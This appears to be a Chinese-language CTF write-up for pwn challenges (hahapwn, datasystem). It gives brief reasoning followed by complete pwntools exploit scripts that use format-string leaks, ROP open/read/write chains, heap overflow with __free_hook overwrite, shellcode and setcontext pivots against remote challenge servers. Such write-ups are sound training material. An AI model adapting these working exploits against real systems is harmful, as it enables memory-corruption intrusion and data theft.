就出了两道题,hahapwn还是赛后出的,难受
hehepwn
思路泄露libc_base + rop
hahapwn
这个题非常离谱,禁用了execve,一开始我用本地的libc.so.6能打通本地(并且read、write也能用)
然后用它给的libc结果就打不通了,主要是因为他给的libc中的read、write函数不能用,
elf文件只有puts能用,不能用sys_write
思路是格式化字符串泄露canary + libc + stack,然后,rop进行orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import *
p = remote("node4.buuoj.cn",25546) libc = ELF("./libc.so.6")
''' libc_path = "./libc.so.6" ld_path = "/home/giantbranch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so" libc = ELF("./libc.so.6") p = process([ld_path, "./pwn"], env={"LD_PRELOAD":libc_path}) '''
elf = ELF("./pwn")
context.arch = "amd64" context.os = "linux"
payload = "aaaaaaaa" + "%37$p" + "%39$p" + "%36$p" p.sendlineafter("Welcome! What is your name?\n",payload) p.recvuntil("a"*8)
canary = int(p.recvuntil("00"),16) libc_base = int(p.recv(14),16) - 240 - libc.sym["__libc_start_main"]
stack = int(p.recv(14),16)
bss = 0x601098 pop_rdi = 0x0000000000400943 pop_rsi = 0x0000000000400941 leave_ret = 0x00000000004007b6 ret = 0x0000000000400599 rdx = libc_base + 0x0000000000001b92 pop_rax = libc_base + 0x000000000003a738 syscall = 0x00000000000bc3f5 + libc_base open_ad = libc_base + libc.sym["open"] write = elf.plt["puts"]
flag_ad = stack - 416 read_ad = stack + 8
log.info("canary: " + hex(canary)) log.info("libc_base: " + hex(libc_base)) log.info("stack: " + hex(stack)) log.info("flag_ad: " + hex(flag_ad))
payload = "/flag\x00" payload = payload.ljust(0x68,"a")
payload += p64(canary) + "aaaa"*2 + p64(pop_rdi) + p64(flag_ad) payload += p64(pop_rsi) + p64(0) + p64(0) payload += p64(pop_rax) + p64(2) + p64(syscall)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(0) payload += p64(rdx) + p64(0x100) payload += p64(pop_rax) + p64(0) + p64(syscall)
payload += p64(pop_rdi) + p64(bss) payload += p64(write)
p.sendlineafter("What can we help you?\n",payload) print p.recv()
|
3.datasystem
这个题除了前面那个passwd验证,其他的就比较常规了,这个题求出了的队要的脚本才出的
passwd输入”c”* 0x20能进入菜单(ida里这一部分的逻辑非常复杂)
add函数里面有溢出,并且之前分配了rwx段
shellcode 做法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import *
p = process("./pwn")
p = remote("node4.buuoj.cn",26220)
libc = ELF("./libc-2.27.so")
context.arch = "amd64" context.os = "linux"
payload = "admin" p.recvuntil("please input username: ") p.send(payload)
p.recvuntil("please input password: ") p.send("c"*0x20)
def add(size,con): p.recvuntil(">> :") p.sendline("1") p.recvuntil("Size: \n") p.sendline(str(size)) p.recvuntil("what's your Content: \n") p.send(con)
def free(idx): p.recvuntil(">> :") p.sendline("2") p.recvuntil("Index:\n") p.sendline(str(idx))
def show(idx): p.recvuntil(">> :") p.sendline("3") p.recvuntil("Index:\n") p.sendline(str(idx))
def edit(idx,con): p.recvuntil(">> :") p.sendline("4") p.recvuntil("Index:\n") p.sendline(str(idx)) p.recvuntil("Content:\n") p.send(con)
add(0x28,"a"*0x28) add(0x480,"aaaa") add(0x28,"aaaa")
free(1) free(0) add(0x28,"a"*0x30) show(0) p.recvuntil("a"*0x30) libc_base = u64(p.recv(6).ljust(8,"\x00")) - 96 -0x10 - libc.sym["__malloc_hook"] log.info("ad: " + hex(libc_base)) free_hook = libc_base + libc.sym["__free_hook"] log.info("free_hook: " + hex(free_hook)) rwx = 0x23330000
free(0) add(0x28,"a"*0x28 + p64(0x491)) add(0x10,"aaa") add(0x20,"aaa") free(1) free(0) add(0x28,"a"*0x28 + p64(0x21) + p64(rwx)) add(0x10,"aaa")
shellcode = shellcraft.open("./flag") shellcode += shellcraft.read(3,rwx + 0x200,0x100) shellcode += shellcraft.write(0,rwx + 0x200,0x100)
add(0x10,asm(shellcode))
free(3) free(0) add(0x28,"a"*0x28 + p64(0x21) + p64(0)*3 + p64(0x31) + p64(free_hook))
add(0x20,"aaaa") add(0x20,p64(rwx))
free(0)
p.interactive()
|
setcontext的做法如下(一开始没看到有个rwx的段)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| from pwn import *
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
context.arch = "amd64" context.os = "linux"
payload = "admin" p.recvuntil("please input username: ") p.send(payload)
p.recvuntil("please input password: ") p.send("c"*0x20)
def add(size,con): p.recvuntil(">> :") p.sendline("1") p.recvuntil("Size: \n") p.sendline(str(size)) p.recvuntil("what's your Content: \n") p.send(con)
def free(idx): p.recvuntil(">> :") p.sendline("2") p.recvuntil("Index:\n") p.sendline(str(idx))
def show(idx): p.recvuntil(">> :") p.sendline("3") p.recvuntil("Index:\n") p.sendline(str(idx))
def edit(idx,con): p.recvuntil(">> :") p.sendline("4") p.recvuntil("Index:\n") p.sendline(str(idx)) p.recvuntil("Content:\n") p.send(con)
add(0x28,"a"*0x28) add(0x480,"aaaa") add(0x28,"aaaa")
free(1) free(0) add(0x28,"a"*0x30) show(0) p.recvuntil("a"*0x30) libc_base = u64(p.recv(6).ljust(8,"\x00")) - 96 -0x10 - libc.sym["__malloc_hook"] log.info("ad: " + hex(libc_base)) free_hook = libc_base + libc.sym["__free_hook"] sys_ad = libc_base + libc.sym["system"] setcontext = libc_base + libc.sym["setcontext"] + 53 open = libc_base + libc.sym["open"] read = libc_base + libc.sym["read"] write = libc_base + libc.sym["puts"]
rax = libc_base + 0x0000000000043a78 rdi = libc_base + 0x000000000002155f rsi = libc_base + 0x0000000000023e8a rdx = libc_base + 0x0000000000001b96 ret = libc_base + 0x00000000000008aa
free(0) add(0x28,"a"*0x28 + p64(0x491)) add(0x100,"aaaa") add(0x100,"bbbb") free(3) free(1) free(0) add(0x28,"a"*0x30) show(0) p.recvuntil("a"*0x30) heap_ad = u64(p.recv(6).ljust(8,"\x00")) log.info("heap_ad: " + hex(heap_ad)) log.info("free_hook: " + hex(free_hook)) log.info("setcontext:" + hex(setcontext))
flag_ad = heap_ad - 0x140 pay_ad = heap_ad - 0x110
payload = p64(rdi) + p64(flag_ad) payload += p64(rsi) + p64(0) payload += p64(rax) + p64(2) + p64(open)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(heap_ad + 0x300) payload += p64(rdx) + p64(0x100) payload += p64(rax) + p64(0) + p64(read)
payload += p64(rax) + p64(1) payload += p64(rdi) + p64(heap_ad + 0x300) payload += p64(write) payload = payload.ljust(0x100,"\x00") + p64(0x111) + p64(free_hook)
frame = SigreturnFrame() frame.rsp = pay_ad + 8 frame.rip = ret
free(0)
add(0x28,"./flag\x00\x00" + "a"*0x20 + p64(0x111)) add(0x100,"a"*8 + payload)
add(0x100,str(frame)) add(0x100,p64(setcontext))
free(3) p.interactive()
|